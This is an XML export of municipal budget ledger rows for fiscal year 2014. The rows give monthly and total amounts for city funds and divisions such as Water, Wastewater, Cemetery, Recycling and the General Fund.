<row _id="9659"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>298120.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>-49373.33</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>248746.67</total></row>
<row _id="9660"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>126500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>126500.0</total></row>
<row _id="9661"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>555070.0</object><object_description>RECYCLING/DISPOSAL FEES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>4240000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4240000.0</total></row>
<row _id="9662"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>325.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>325.0</total></row>
<row _id="9663"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>65000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>65000.0</total></row>
<row _id="9664"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>848.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>15000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>645</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>15645.0</total></row>
<row _id="9665"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>511250.0</object><object_description>STANDBY PAY</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>24400.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>24400.0</total></row>
<row _id="9666"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>511710.0</object><object_description>MEDICARE EMPLOYER CONTRIBUTION</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>250.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>250.0</total></row>
<row _id="9667"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>522160.0</object><object_description>TRANSFER STATION FEE</object_description><category_code>848.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>950.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>950.0</total></row>
<row _id="9668"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>522650.0</object><object_description>OTHER OPERATING RENT</object_description><category_code>866.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>226556.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>226556.0</total></row>
<row _id="9669"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>844.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>620500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>620500.0</total></row>
<row _id="9670"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>34</fund_id><fund_name>Stormwater Management Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>578250.0</object><object_description>STORMWATER / WASTEWATER REIMB</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1127231.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1127231.0</total></row>
<row _id="9671"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>404170.0</object><object_description>OTHER REVENUE - MISCELLANEOUS</object_description><category_code>662.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-108632.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-108632.0</total></row>
<row _id="9672"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1046.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1046.0</total></row>
<row _id="9673"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>24000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>24000.0</total></row>
<row _id="9674"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>588200.0</object><object_description>BLDG RENOVATION / MAINTENANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>29000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>29000.0</total></row>
<row _id="9675"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>3500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3500.0</total></row>
<row _id="9676"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>544260.0</object><object_description>BIN REPAIR</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>60000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>60000.0</total></row>
<row _id="9677"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>544340.0</object><object_description>INDIRECT COST ALLOCATION</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>393821.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>393821.0</total></row>
<row _id="9678"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>15198.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>15198.0</total></row>
<row _id="9679"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>522120.0</object><object_description>UTILITIES - NATURAL GAS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>311.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>311.0</total></row>
<row _id="9680"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>544120.0</object><object_description>PERIODICALS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>300.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>300.0</total></row>
<row _id="9681"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code>850.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>3910.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3910.0</total></row>
<row _id="9682"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>85822.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>85822.0</total></row>
<row _id="9683"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>850.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>52531.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>52531.0</total></row>
<row _id="9684"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>820.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>7500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7500.0</total></row>
<row _id="9685"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>522120.0</object><object_description>UTILITIES - NATURAL GAS</object_description><category_code>850.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>28000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>28000.0</total></row>
<row _id="9686"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577760.0</object><object_description>CDBG REIMB-HOUSING &amp; ECON DEV</object_description><category_code>908.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>-92000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-92000.0</total></row>
<row _id="9687"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>578200.0</object><object_description>AIRPORT REIMBURSEMENT FOR SBDC</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>-30764.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-30764.0</total></row>
<row _id="9688"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>57</fund_id><fund_name>Self-insurance, Bus Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>233</division_id><division_name>BUS</division_name><object>522060.0</object><object_description>COURT FILING FEES</object_description><category_code>862.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
<row _id="9689"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>59</fund_id><fund_name>Self-insur, Workers' Comp Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>235</division_id><division_name>WORKER'S COMPENSATION</division_name><object>522090.0</object><object_description>MISCELLANEOUS COSTS</object_description><category_code>862.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>250000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>250000.0</total></row>
<row _id="9690"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577500.0</object><object_description>TRANSFERS FROM / TO FUND</object_description><category_code>908.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>-1988462.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-1988462.0</total></row>
<row _id="9691"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>19</fund_id><fund_name>CDBG Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>400940.0</object><object_description>CDBG CURRENT ALLOCATION</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>-995441</february><march>0</march><april>0</april><may>0</may><june>-20000.0</june><total>-1015441.0</total></row>
<row _id="9692"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>522180.0</object><object_description>BANK FEES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>480.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>480.0</total></row>
<row _id="9693"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>402310.0</object><object_description>WATER - COMMERCIAL SALES</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-20605462.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>-577983.0</june><total>-21183445.0</total></row>
<row _id="9694"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>401520.0</object><object_description>SPECIAL PICK-UPS</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-35894.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-35894.0</total></row>
<row _id="9695"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577720.0</object><object_description>CDBG REIMBURSEMENT-HUMAN SVCS</object_description><category_code>908.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>-59500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-59500.0</total></row>
<row _id="9696"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>34</fund_id><fund_name>Stormwater Management Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>555660.0</object><object_description>ENVIRONMENTAL REIMBURSEMENT</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>901114.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>901114.0</total></row>
<row _id="9697"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>57</fund_id><fund_name>Self-insurance, Bus Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>233</division_id><division_name>BUS</division_name><object>522070.0</object><object_description>DEPOSITION COSTS</object_description><category_code>862.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>20000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>20000.0</total></row>
<row _id="9698"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>401500.0</object><object_description>GARB/REFUSE COLLECTION FEES</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-22977874.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-22977874.0</total></row>
<row _id="9699"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>59</fund_id><fund_name>Self-insur, Workers' Comp Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>235</division_id><division_name>WORKER'S COMPENSATION</division_name><object>402400.0</object><object_description>INSURANCE RECOVERY</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-50000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-50000.0</total></row>
<row _id="9700"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>59</fund_id><fund_name>Self-insur, Workers' Comp Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>235</division_id><division_name>WORKER'S COMPENSATION</division_name><object>402430.0</object><object_description>SELF-INSURANCE WORKERS COMP</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-9810765.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-9810765.0</total></row>
<row _id="9701"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>401350.0</object><object_description>GEN PROM BUS LICENSE MONTANA</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-5350.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-5350.0</total></row>
<row _id="9702"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>404590.0</object><object_description>SUBDIVISION MAP FEES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-11263.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-11263.0</total></row>
<row _id="9703"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>401600.0</object><object_description>LIBRARY FINES</object_description><category_code>614.0</category_code><category_code_description>Fines and Forfeitures</category_code_description><fiscal_year>2014</fiscal_year><july>-290000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>55000.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-235000.0</total></row>
<row _id="9704"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>13950.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>13950.0</total></row>
<row _id="9705"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object>544390.0</object><object_description>OTHER COSTS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>10750.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10750.0</total></row>
<row _id="9706"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>401</division_id><division_name>ADMINISTRATIVE SERVICES (PW)</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>6081.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6081.0</total></row>
